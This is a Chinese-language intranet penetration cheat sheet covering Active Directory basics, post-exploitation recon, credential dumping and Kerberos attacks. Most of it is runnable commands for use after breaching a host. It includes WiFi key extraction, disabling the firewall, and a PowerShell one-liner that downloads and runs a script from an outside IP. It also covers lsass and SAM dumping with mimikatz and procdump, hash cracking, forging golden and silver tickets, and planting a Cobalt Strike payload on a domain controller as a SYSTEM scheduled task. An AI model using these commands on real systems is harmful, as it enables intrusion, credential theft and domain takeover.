# 内网
域基础知识,信息收集,密码抓取,内网横向,域控安全,跨域攻击
# 域基础知识
# 活动目录
活动目录 (Active Directory,AD) 是指域环境中提供目录服务的组件
目录用于存储有关网络对象 (例如用户、组、计算机、共享资源、打印机和联系人等) 的信息。目录服务是指帮助用户快速、准确地从目录中找到其所需要的信息的服务。活动目录实现了 目录服务,为企业提供了网络环境的集中式管理机制
活动目录的逻辑结构包括前面讲过的组织单元 (OU)、域、域树、域森林。域树内的所有域 共享一个活动目录,这个活动目录内的数据分散存储在各个域中,且每个域只存储该域内的数据。
活动目录主要提供以下功能
1 | 账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等。 |
组织单元
1 | 组织单元(OU)是域中包含的一类目录对象如用户、计算机和组、文件与打印机等资源,是一个容器,可以在OU上部署组策略 |
委派控制
因为财务部门有 20 个人,不能有问题就去找网络管理员,需要委派控制权限给财务部门一个代表,让他去执行,也就是说在财务部门找一个代表,他由相应的权限去管理财务部门的计算机和用户
grant … 权限 …

如果需要委派的人较多,那么我们可以新建组,用户加组,对该组进行委派
# 域内权限
组
组 (Group) 是用户账号的集合。通过向组分配权限,就可以不必向每个用户分别分配权限。例如,管理员在日常工作中,不必为单个用户账号设置独特的访问权限,只需要将用户账放到相应的安全组中。管理员通过配置安全组访问权限,就可以为所有加入安全组的用户账号配置同样的权限。使用安全组而不是单个的用户账号,可以大大简化网络的维护和管理工作
域本地组
域本地组成员来自林中任何域中的用户账户、全局组和通用组以及本域中的域本地组,在本域范围内可用。
全局组
全局组成员来自于同一域的用户账户和全局组,在林范围内可用
通用组
通用组成员来自林中任何域中的用户账户、全局组和其他的通用组,在全林范围内可用
域本地组来自全林,作用于本域;
全局组来自本域,作用于全林;
通用组来自林,作用于全林。
A-G-DL-P 策略
A-G-DL-P 策略是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限
A 表示用户账号 (Account)
G 表示全局组 (Global Group)
U 表示通用组 (Universal Group)
DL 表示域本地组 (Domain Local Group)
P 表示资源权限 (Permission, 许可)
按照 AG-DL-P 策略对用户进行组织和管理是非常容易的。在 AGDL-P 策略形成以后,当需要给一个用户添加某个权限时,只要把这个用户添加到某个本地域组中就可以了。
A -> G ->DL -> P
# 安全域划分
划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。这个网段内的计算机拥 有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略 ,从而对允许哪些 IP 地址访问此域、允许此域访问哪些 IP 地址和网段进行设置。这些 措施,将使得网络风险最小化,当攻击发生时,可以尽可能地将威胁隔离,从而降低对域内计算机的影响。

在一个用路由器连接的内网中,可以将网络划分为三个区域:
安全级别最高的内网;
安全级别中等的 DMZ;
安全级别最低的外网
1 | 内网可以访问外网:内网用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。 |
# 信息收集
攻击流程详解
信息收集 - 漏洞利用 - 权限提升 - 权限维持 - 隧道技术 - 内网渗透
下面建立在你有 shell,你把人家上了的情况
# 收集本机信息
# 查看基本信息
1. 收集网络信息
1 | shell ipconfig |
2. 收集操作系统和软件信息
1 | shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" |
3. 查看系统体系结构
1 | shell echo %PROCESSOR_ARCHITECTURE% |
4. 查看安装软件及版本
1 | shell wmic product get name,version |
5. 查看本机服务
1 | wmic service list brief |
6. 查看进程信息
1 | tasklist |
7. 开机自启程序
1 | wmic startup get command,caption |
8. 查看计划任务
1 | chcp 437 |
9. 查看开机时间
1 | net statistics workstation |
10. 查看用户列表
1 | net user |
11. 列出会话
1 | net session |
12. 列出连接信息,端口信息
1 | netstat -ano |
13. 查看补丁信息
1 | systeminfo |
14. 查看共享
1 | net share |
15. 查路由
1 | route print |
16. 查 ARP
1 | arp -a |
17. 开启远程服务
1 | wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1 |
18 收集 wifi 密码
1 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr ‐i ‐v echo | netsh wlan show profiles %j key=clear |
19. 修改 RDP 端口
1 | reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP‐Tcp" /V PortNumber |
20. 查看代理信息
1 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" |
21. 查看登录凭证
1 | cmdkey /l |
22. 查询用户组
1 | net localgroup |
23. 查询管理员组
1 | net localgroup administrators |
24. 查看最近打开文档
1 | dir %APPDATA%\Microsoft\Windows\Recent |
25. 杀软查询
1 | wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list |
# 防火墙操作
1. 查看防火墙状态
1 | netsh firewall show state |
2. 关闭防火墙
1 | netsh firewall set opmode disable //2003之前 |
3. 查看防火墙配置
1 | netsh firewall show config |
4. 修改防火墙配置文件
1 | //允许指定的程序进行全部的连接 |
# 自动化收集信息
bat 语法:
1 | 1.终端输出 |
一个简单的脚本
1 | @echo off |
擦,大哥写的脚本
1 | for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" |
# 内网 IP 扫描
1.netbios
这是一款用于扫描 Windows 网络上 NetBIOS 名字信息的程序。该程序对给出范围内的每一个地址发送 NetBIOS 状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan 列出它的 IP 地址、NetBIOS 计算机名、登录用户名和 MAC 地址。但只能用于局域网,NBTSCAN 可以取到 PC 的真实 IP 地址和 MAC 地址,如果有”ARP 攻击” 在做怪,可以找到装有 ARP 攻击的 PC 的 IP / 和 MAC 地址。但只能用于局域网
nbtscan.exe + IP
2.ICMP
还可以利用 ICMP 协议探测内网。依次对内网中的每个 IP 地址执行 ping 命令,可以快速找出内网中所有存活酌主机。在渗透测试中中,可以使用如下命令循环探测整个 C 段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”
3.arp
apr -t IP
4.Kscan
kscan 是一款资产测绘工具,可针对指定资产进行端口扫描以及 TCP 指纹识别和 Banner 抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是 go 平台首款开源的 RDP 暴力破解工具
kscan.exe -t 192.168.13.0/24 --encoding utf-8
其他用法: https://github.com/lcvvvv/kscan
-t , --target 指定探测对象:
IP 地址:114.114.114.114
IP 地址段:114.114.114.114/24, 不建议子网掩码小于 12
IP 地址段:114.114.114.114-115.115.115.115
URL 地址:https://www.baidu.com
文件地址:file:/tmp/target.txt
–spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
(空)、192、10、172、all、指定 IP 地址 (将探测该 IP 地址 B 段存活网关)
5.fscan
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。
fscan.exe -h 192.168.13.0/24
1 | fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) |
6.ladon
Ladon 一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键 GetShell,支持批量 A 段 / B 段 / C 段以及跨网段扫描,支持 URL、主机、域名列表扫描。7
1 | ### 003 网段扫描/批量扫描 |
还有好多自己找吧
# 端口扫描
1.scanline
ScanLine 是一款 windows 下的端口扫描的命令行程序。它可以完成 PING 扫描、TCP 端口扫描、UDP 端口扫描等功能。运行速度很快,不需要 winPcap 库支持,应用场合受限较少。
1 | scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 100.100.0.39 |
2.telnet
Telnet 协议是 TCP/IP 协议族的一员,是 Internet 远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用 Telnet 协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用 telnet 命令是最方便的
1 | telnet 192.168.13.100 3389 |
3.readteam tool
RedTeamTool 中有一个本地端口扫面的工具
1 | portscanx64 0 10000 |
4.powerspioit
PowerSploit 是一款基于 PowerShell 的后渗透框架软件,包含了很多 PowerShell 的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等
本地执行:需要将程序放到目标机上
1 | powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt |
远程执行:文件不落地执行
先去指定的地址下载,在执行,只存在于内存中
1 | powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt |
5.nishang
Nishang 是一款针对 PowerShell 的渗透工具。
nishang 需要将整个 zip 都上传,不能单独上传某个脚本,因此需要上传 zip 后在服务端解压,也是有工具滴
1 | //方式一 |
5.fscan
详见 ip 扫描
6.kscan
详见 ip 扫描
7.london
详见 ip 扫描
# 收集域环境信息
1. 权限查询
四种用户
本地普通用户 PC2008\haha
本地管理员用户 PC-2008\administrator
域内用户 hack\zhangsan
域管用户 hack\administrator
如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.
而本地管理员用户和域内用户可以查询域内信息.
本地管理员 Admmistrator 权限可以直接提升为 Ntauthority 或 System 权限,因此,在域中,除普通用户外,所有的机器都有 — 个机器用户(用户名是机器名加上 "$")。在本质上, 机器的 system 用户对应的就是域里面的机器用户
# 判断域方法
1.ipconfig /all
主 dns 后缀
通过 nslookup 查询该后缀,可以得到域控
2.systeminfo
域:hack.com
3.net config workstation
工作站域 DNS 名称
4.net time /domain
1,2 都代表存在域
1. 存在域,但当前用户不是域用户
系统错误 5,本地 administrator 是此效果,但提权后,变为第二种现象
2. 存在域,并且当前用户是域用户
hack.com 当前时间
3. 当前网络环境为工作组,不存在域
找不到域控
降权 - system 变为 administrator 去执行一些命令,计划任务,net localgroup
提权 - administrator 变为 system 变为域用户
添加本地管理员的方法:在本地加,在域里面的 domain admins 组加
# 查询域
1 | net view /domain:xxx //域内计算机 |
# 找域控
1.nltest /DCLIST:hack
在使用 ping 或者 nslookup 解析域控的 IP
2. 查看域控主域名
nslookup ‐type=SRV _ldap._tcp
3.net time /domain
4.net group “Domain Controllers” /domain
# 获取用户信息
1. 查询域内用户
net user /domain
2. 获取域内用户详细信息
wmic
wmic /?
wmic user account get all
wmic useraccount get name
C:\Users\18310>wmic useraccount get name
Name
18310
Administrator
DefaultAccount
Guest
hahaha
mysql
VUSR_LAPTOP-8A2UNITB
WDAGUtilityAccount
wwwwmic useraccount get domain,name
2. 查看存在用户
dsquery
dsquery user
dsquery computer
3. 查域管
net group “domain admins” /domain
net group “Enterprise Admins” /domain
# 定位域管
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限,也就是说,当目机被添加到城中。成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限判断域内机器有谁登陆过,或者谁正在登陆,为后续获取 hash 或明文密码,横向传递做铺垫
1. 通过 psloggedon.exe
PsLoggedon.exe ahzngsan // 用户登录过那些机器
PsLoggedon.exe \\PC-2003 // 机器被哪些用户登陆过
2.PVEDFindADUser.exe 工具
pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在 特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有.NETFramework 2.0,并且需要具有管理员权限
1 | ‐h:显示帮助信息 |
3.netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登陆会话,利 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe 的绝大部分功能不需要管理员权限就可以使用
1 | 使用语法: |
4.NSE
如果存在域账户或者本地账户就可以使用 Nmap 的 smb-enum-sessions.nes 引擎获取远程机器的登录会话(不需要管理员权限)。
1 | smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等 |
5.powerview
PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,
1 |
|
# powershell
Powershell 一般初始化情况下都会禁止脚本执行。脚本能否执行取决于 Powershell 的执行策略
Get-ExecutionPolicy 查看权限
1 | Set-ExecutionPolicy |
PowerSploit
PowerSploit 是 GitHub 上面的一个安全项目,上面有很多 powershell 攻击脚本,它们主要被用来渗
透中的信息侦察、权限提升、权限维持。
Powershell 的优点:
1. 代码运行在内存中可以不去接触磁盘
2. 从另一个系统中下载代码并执行
3. 很多安全产品并不能监测到 powershell 的活动
4.cmd.exe 通常被阻止运行,但是 powershell 不会
执行方式
1 | shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetUser}" |
Nishang
Nishang 是一款针对 PowerShell 的渗透工具。
查看模块
1 | shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang |
远程执行
1 | powershell-import nishang\nishang.psm1 |
# 定位敏感信息
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。
资料、数据、文件的定位流程:
1 | 定位内部人事组织结构 |
重点核心业务机器
1 | 高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机 |
敏感信息和敏感文件
1 | 站点源码备份文件, |
1 | 1.指定目录下搜集各类敏感文件 |
# windows 认证密码抓取
windows 认证
本地
网络
kerberos
# 本地认证 - NTLM 和 LM
Windows 的登陆密码是储存在系统本地的 SAM 文件中的,在登陆 Windows 的时候,系统会将用户输入的密码与 SAM 文件中的密码进行对比,如果相同,则认证成功
SAM 文件是位于 % SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表着你可以随意去查看系统密码。

Windows 本地认证流程如下:

首先,用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给 lsass 进程,这个过程中会存一份明文密码,将明文密码加密成 NTLM Hash,对 SAM 数据库进行比较认证
Windows Logon Process(即 winlogon.exe):是 Windows NT 用户登陆程序,用于管理用户登陆和退出
LSASS:用于微软 Windows 系统的安全机制,它用于本地安全和登陆策略
本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存,供该进程将密码计算成 NTLMHash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的
Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。 Windows 操作系统中的密码一般由两部分组成,一部分为 LM Hash, 另一部分为 NTLMHash。在 Windows 操作系统中,Hash 的结构通常如下
1 | username:RID:LM‐HASH:NT‐HASH |
LM Hash 的全名为 "LAN Manager Hash", 是微软为了提高 Windows 操作系统的安全性而采 用的散列加密算法,其本质是 DES 加密。尽管 LM Hash 较容易被破解,但为了保证系统的兼容性,Windows 只是将 LM Hash 禁用了 (从 Windows vista 和 Windows Server2008 版本开始,Windows 操作系统默认禁用 LM Hash)。
LM Hash 明文密码被限定在 14 位以内,也就是说,如果要停止使用 LM Hash, 将用 户的密码设置为 14 位以上即可。如果 LM Hash 被禁用了,攻击者通过工具抓取的 LM Hash 通常 为 “ad3b435b51404eead3b435b51404ee”(表示 LM Hash 为空值或被禁用) NTLM Hash 是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。 NTLM Hash 是基于 MD4 加密算法进行加密的。个人版从 Windows vista 以后,服务器版从 Windows Server 2003 以后,Windows 操作系统的认证方式均为 NTLM Hash 为了解决 LM 加密和身份验证方案中固有的安全弱点,Microsoft 于 1993 年在 Windows NT 3.1 中引入了 NTLM 协议。
# Windows 网络认证
在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的,只能是点对点进行信息的传输。举个例子就是,主机 A 想要访问主机 B 上的资源,就要向主机 B 发送一个存在于主机 B 上的一个账户,主机 B 接收以后会在本地进行验证,如果验证成功,才会允许主机 A 进行相应的访问
NTLM 协议是一种基于 挑战(Chalenge)/ 响应(Response) 认证机制,仅支持 Windows 的网络认证协议。
它主要分为协商、质询和验证三个步骤:
协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。
质询,这一步便是 Chalenge/Response 认证机制的关键之处,下面会介绍这里的步骤。
验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源
认证流程
1、首先,client 会向 server 发送一个 username,这个 username 是存在于 server 上的一个用户
2、首先会在本地查询是否存在这样的一个用户,如果存在,将会生成一个 16 位的随机字符,即 Chalenge,然后用查询到的这个 user 的 NTLM hash 对 Chalenge 进行加密,生成 Chalenge1,将 Chalenge1 存储在本地,并将 Chalenge 传给 client。
认证失败
1、首先,client 会向 server 发送一个 username,这个 username 是存在于 server 上的一个用户
2、当 server 接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败
3、当 client 接收到 Chalenge 时,将发送的 username 所对应的 NTLM hash 对 Chalenge 进行加密即 Response,并 Response 发送给 server。
4、server 在收到 Response 后,将其与 Chalenge1 进行比较,如果相同,则验证成功
NTLM v1 的 Challenge 有 8 位,NTLM v1 的主要加密算法是 DES
NTLM v2 的 Challenge 为 16 位;NTLM v2 的主要加密算法是 HMAC‐MD5。
net use \\192.168.41.130 /u:kkk Admin@123

NTLMv2 格式如下:
username::domain:challenge:HMAC‐MD5:blob
1 | username:对应数据包中 user name |
使用 hashcat 破解密码
1 | hashcat ‐m 5600kkk:::53fb7eb8d40cc777:3d00ee8a5618f85651098b8005883d5c:0101000000000000f790f7af9b92d8019cba65f5e39a1ea90000000002000e0042004d002d00320030003000380001000e0042004d002d00320030003000380004000e0042004d002d00320030003000380003000e0042004d002d00320030003000380007000800f790f7af9b92d801060004000200000008003000300000000000000001000000002000009906b326309f0ba76eb46b2271795e5d12df73e87035391df48f0fad1ce073380a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340031002e003100330030000000000000000000 1.txt ‐‐force |
抓取 NTLMV2:Inveigh-master
# Kerberos 认证
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的
kerberos 协议中也存在三个角色,分别是
1 | 客户端(client):发送请求的一方 |
所以整个 kerberos 认证流程可以简化描述如下: 客户端在访问每个想要访问的网络服务时,他需要携带一个专门用于访问该服务并且能够证明自己身份的票据,当服务端收到了该票据他才能认定客户端身份正确,向客户端提供服务。所以整个认证流程可简化为两大步:
1 | 1、客户端向KDC请求获取想要访问的目标服务的服务授予票据(Ticket); |

所以 kerberos 通信可以分为 3 步,我们逐步详解
通信第一步客户端和 AS 进行通信
为了获得能够用来访问服务端服务的票据,客户端首先需要来到 KDC 获得服务授予票据(Ticket)。由于客户端是第一次访问 KDC,此时 KDC 也不确定该客户端的身份,所以第一次通信的目的为 KDC 认证客户端身份,确认客户端是一个可靠且拥有访问 KDC 权限的客户端,

1 | 1、客户端用户向KDC以明文的方式发起请求。该次请求中携带了自己的用户名,主机IP,和当前时间戳; |
通信第二步客户端和 TGS 进行通信
此时的客户端收到了来自 KDC(其实是 AS)的响应,并获取到了其中的两部分内容。此时客户端会用自己的密钥将第二部分内容进行解密,分别获得时间戳,自己将要访问的 TGS 的信息,和用于与 TGS 通信时的密钥 CT_SK。首先他会根据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于 5 分钟,如果大于五分钟则认为该 AS 是伪造的,认证至此失败。如果时间戳合理,客户端便准备向 TGS 发起请求

1 | 客户端行为: |
通信第三步客户端和服务端进行通信
此时的客户端收到了来自 KDC(TGS)的响应,并使用缓存在本地的 CT_SK 解密了第二部分内容(第一部分内容中的 ST 是由 Server 密码加密的,客户端无法解密),检查时间戳无误后取出其中的 CS_SK 准备向服务端发起最后的请求。

1 | 客户端: |

# 黄金票据
权限维持的技术!!
krbtgt 用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
TGT=Krbtgt 的 html hash 加密
1、Kerberos 中的 TGT 和 Logon Session Key(CT_SK)是 AS 返回的 ,TGP 它是由 Krbtgt 加密和签名的,krbtgt 的 NTLM Hash 又是固定的,而 CT_SK 并不会保存在 KDC 中。
2、所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key(CT_SK)。
3、Client 与 TGS 的交互中,而已有了金票后(TGT), 就跳过 AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
当我们获得域控的控制权限后,有可能获取域内所有用户的 hash,和 krbtgt 的 hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且 krbtgt 的密码没有更改,此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 TGT,重新获取域控的管理权限。
实现前提
1、已经控制了域名并且使用域管理员登录或者提权的 system
如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪
造 TGT 重新获得域控的权限
条件:
1 | 1、域名称 |
1 | shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户) |
3、使用 mimikatz 导出 KRBTGT 的 ntlm hash
1 | mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt |
因为之前已经记录了关键信息,我们现在就可以伪造任意用户访问域控,windows 2008 机器必须是域内用户或者 system 用户
1 | mimikatz kerberos::tgt 查票 |
使用计划任务上线 cs
copy 恶意文件到域控
1 | shell copy c:\users\administrator\desktop\artifact.exe \\dc.hack.com\c$ |
设置计划任务到域控
1 | shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f |
# 白银票据
服务账号就是计算机名字 +$ 用来管理服务的账号
如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。
条件如下:
1 | 1.域名 |

3、伪造票据(CIFS 共享服务)
1 | mimikatz sekurlsa::logonpasswords |
# SAM 文件密码抓取
本地密码:
1. 读 SAM 文件 (密文)
2. 读 lsass 进程(明文)
Mimikatz 介绍
Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取 WindowsXP-2012 等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz 可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证
几个常用的模块
sekurlsa 模块
1 | privilege模块 |
cs 中执行
1 | shell mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > 1.txt |
或者 cs 中有内置 mimikatz 直接执行 logonPasswords
process 模块
1 | process::list 列出进程列表 |
kerberos 模块
1 | kerberos::list 列出系统中的票据 |
常用命令
1 | CRYPTO::Certificates – 列出/导出凭证。 |
# SAM 文件抓取密码
导出 sam 和 system 文件
1. 通过 reg 命令无工具导出
1 | reg save hklm\sam sam.hive |
2、通过 nishang 中的 Copy-VSS 进行复制,如果这个脚本运行在了 DC 服务器上,ntds.dit 和 SYSTEM hive 也能被拷贝出来 (或者 cs 也行)
1 | copy‐vss //直接将文件保存在当前目录下 |
3. 读取 sam 和 system 文件获取密码
1 | lsadump::sam /sam:sam.hive /system:system.hive |
# 在线读取 sam,lsass 文件
使用 mimikatz 在线读取 sam 文件
1 | 分开的命令如下 |
在线读取 lassa 文件
从 lsass 进程中提取 passwords、keys、pin、tickets 等信息
1 | privilege::debug |
# 离线读取
1. 导出 lsass 文件
1、使用任务管理器导出(windows NT 6)需要有远程桌面

2. 使用 procdump 导出 lsass.dmp 文件
ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序。 ProcDump 还包括使用窗口挂起 (使用相同的窗口挂起定义,Windows 任务管理器使用) 、未经处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可在其他脚本中嵌入的常规进程转储实用工具。因为是微软的所以一般不会被杀软杀掉
1 | procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp |
3. 使用 PowerSploit 的 Out-MiniDump 模块,PowerSploit 是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

4.comsvcs.dll,系统自带。通过 comsvcs.dll 的导出函数 MiniDump 实现 dump 内存
首先查看 lsass.exe 进程 PID: tasklist | findstr lsass.exe
使用 powershell 导出 rundll32 C:\windows\system32\comsvcs.dll, MiniDump 488 C:\lsass.dmp full
读取 dump 文件
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full”
# 使用 hashcat
Hashcat 是一个密码恢复工具。直到 2015 年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法。
下载地址: https://hashcat.net/hashcat/
1 | hashcat ‐m 1000 NTLM HASH 字典 ‐‐force |
cmd5.com
# 浏览器、数据库等其他密码的抓取
BrowserGhost 浏览器抓取
这是一个抓取浏览器密码的工具,后续会添加更多功能,已经完成的功能如下:实现 system 抓机器上其他用户的浏览器密码 (方便横向移动时快速凭据采集)
用.net2 实现可兼容大部分 windows,并去掉依赖 (不需要 System.Data.SQLite.dll 这些累赘) 可以解密 chrome 全版本密码 (chrome80 版本后加密方式变了)
Chrome 已经可以获取 login data、cookie、history、book 了
BrowserGhost.exe
Sharp-HackBrowserData 浏览器
Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi 等常见的浏览器都能抓
Sharp-HackBrowserData.exe
SharpDecryptPwd 数据库
SharpDecryptPwd-master 对密码已保存在 Windwos 系统上的部分程序进行解析,包 Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品
1 | SharpDecryptPwd.exe ‐TeamViewer |
LaZagne 各类密码
是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。
命令:laZagne.exe all
# 抓取 ntlm hash
getpassword
打开 GetPass 工具所在的目录。打开命令行环境。运行 64 位程 GetPassword。运行该程序后,即可获得明文密码
pwdump7
在命令行环境中运行 PwDump7 程序,可以得到系统中所有账户的 NTLMHash
QuarksPwDump
下载 QuarksPwDump.exe, 在命令行环境中输人 QuarksPwDump.exe --dump-hash-local 导出三个用户的 NLMHash
nishang
nishang 中的 GET-PASSHashes.ps1 可以可以获取 hash
1 | Import‐Module .\Get‐PassHashes.ps1 |
wce
这款工具是一款 Hash 注入神器,不仅可以用于 Hash 注入,也可以直接获取明文或 Hash。这款工具也分为 32 位和
64 位两个不同的版本:
# Windows RDP 凭证的抓取和密码破解
Credentials 的解密是 Windows 系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),接下来我们就讲解 RDP 凭证的抓取和破解
在我们点击保存密码后,Windows 就通过 MasterKey 将我们的密码加密后保存在本地,由于 Windows 还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到 MasterKey 就能将密码解出来
查看凭证命令
1 | 查看mstsc的连接记录 |

# 在线破解
1、使用 mimikatz 获取该文件的 MasterKey 的 guid
1 | mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421 |
2、找到内存中对应的 MasterKey
1 | mimikatz sekurlsa::dpapi |
3、最后打开 mimikatz 通过 MasterKey 值去解密凭据文件
1 | dpapi::cred /in:凭据文件路径 /masterky:masterkey值 |
离线破解
由于我们不能保证我们的 mimikatz 是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目的其实很简单,就是把目标的文件和内存下载回来,在 vps 或本机上进行 mimikatz 解密即可。
1、下载目标内存
1 | procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump 导出lsass |
2、下载目标的 Credentials 文件
3、用 mimikatz 载入 dump 回来的内存
1 | Sekurlsa::minidump lsass1.dump |
4、获取 Credentials 的 GUID
1 | dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421 |
5. 获取内存中所有的 MasterKey
1 | sekurlsa::dpapi |
6、利用 MasterKey 解密
1 | dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421 /masterkey:b3354c56cd35630d10aa7477c3d16e9b94587f1dc6f9d0c8fcb72a5e4a25c8aab8fa242194666c4cc4be9485c31af555b01a49abbfbb8cc1c00d209da624f33c |
